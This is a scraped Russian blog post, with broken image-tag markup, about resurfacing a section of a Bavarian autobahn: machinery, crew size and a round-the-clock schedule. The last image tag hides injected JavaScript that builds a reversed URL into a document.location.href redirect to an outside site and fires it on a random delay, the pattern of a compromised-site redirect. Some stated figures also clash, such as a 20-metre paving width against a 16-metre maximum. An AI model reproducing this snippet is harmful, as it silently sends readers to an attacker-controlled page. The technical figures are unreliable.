На этом участке должно быть полностью убрано старое покрытие и положено новое. Автобан состоит из трех слоев, первые два должны быть заменены.

Ремонт дороги главного в Баварии автобана

В этой стройке участвуют 10 машин, срезающих асфальт, 100 самосвалов, 4-5 асфальтоукладчиков. Всего занятых в этой работе – 300 рабочих.

to-ru.ru/wp-content/uploads/2017/04/katki.jpg» alt=»Работа катков по уплотнению асфальтового покрытия» width=»700″ height=»349″/>

to-ru.ru/wp-content/uploads/2017/04/rabota2.jpg» alt=»Слаженная работа» width=»700″ height=»353″/>

Машина KUTTER срезает верхние два слоя дороги, из трех, на глубину 15 сантиметра,  и 2 метра в ширину.

Эта, срезающая асфальт, машина, заполняет грузовик, менее чем за 5 минут. Режущего инструмента этой машины хватает на заполнение 20 грузовиков.

to-ru.ru/wp-content/uploads/2017/04/kutter1.jpg» alt=»Сдирание старого покрытия» width=»700″ height=»315″/>

to-ru.ru/wp-content/uploads/2017/04/kutter2.jpg» alt=»Пять минут и самосвал полон» width=»700″ height=»358″/>

Далее очищенная от старого покрытия дорога чистится и моется. Затем наносится специальный клей.

to-ru.ru/wp-content/uploads/2017/04/zdir.jpg» alt=»Снятие старого покрытия» width=»700″ height=»355″/>

to-ru.ru/wp-content/uploads/2017/04/chistka.jpg» alt=»Чистка и мойка полотна дороги» width=»700″ height=»355″/>

Асфальтоукладчики захватывают всю ширину полотна 20 метров и движутся непрерывно.

to-ru.ru/wp-content/uploads/2017/04/asfaltuklad.jpg» alt=»Укладка асфальта» width=»700″ height=»352″/>to-ru.ru/wp-content/uploads/2017/04/asfaltuklad5.jpg» alt=»Укладка асфальта» width=»700″ height=»350″/>to-ru.ru/wp-content/uploads/2017/04/asfaltuklad3.jpg» alt=»Укладка асфальта» width=»700″ height=»354″/>to-ru.ru/wp-content/uploads/2017/04/asfaltuklad2.jpg» alt=»Укладка асфальта» width=»700″ height=»348″/>

Асфальтоукладчик VOGELE MT-3000-2 самый мощный в мире, ширина укладки до 16 метров. Его производительность, до 1,6 тонны укладки асфальта в час.

to-ru.ru/wp-content/uploads/2017/04/asfaltuklad4.jpg» alt=»Самый мощный в мире асфальтоукладчик» width=»700″ height=»353″/>

to-ru.ru/wp-content/uploads/2017/04/super-asfaltuklad.jpg» alt=»Ширина укладки до 16 метров» width=»700″ height=»354″/>

Технология и логистика материалов доведена до совершенства. Работа не прекращается не на минуту днем и ночью, пока не будет закончена. За 40 часов укладывается 80000 кв.м. полотна, что составляет 2000 кв.м. полотна дороги в час.

to-ru.ru/wp-content/uploads/2017/04/dei-yait.jpg» alt=»Круглосуточныя работа» width=»700″ height=»353″/>to-ru.ru/wp-content/uploads/2017/04/naitasf.jpg» alt=»Ночная укладка» width=»700″ height=»349″/>to-ru.ru/wp-content/uploads/2017/04/nait.jpg» alt=»Ночная укатка полотна» width=»700″ height=»351″/>to-ru.ru/wp-content/uploads/2017/04/vogelnait.jpg» alt=»Работа в любое время суток» width=»700″ height=»353″/>

Во второй половине воскресенья асфальт полностью уложен на этом участке. В ночь с воскресенья на понедельник уже можно открывать автобан для движения, а в следующую пятницу закрывать другой участок дороги, требующий ремонта.

to-ru.ru/wp-content/uploads/2017/04/new-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dor.jpg» alt=»Новое полотно дороги» width=»700″ height=»354″/>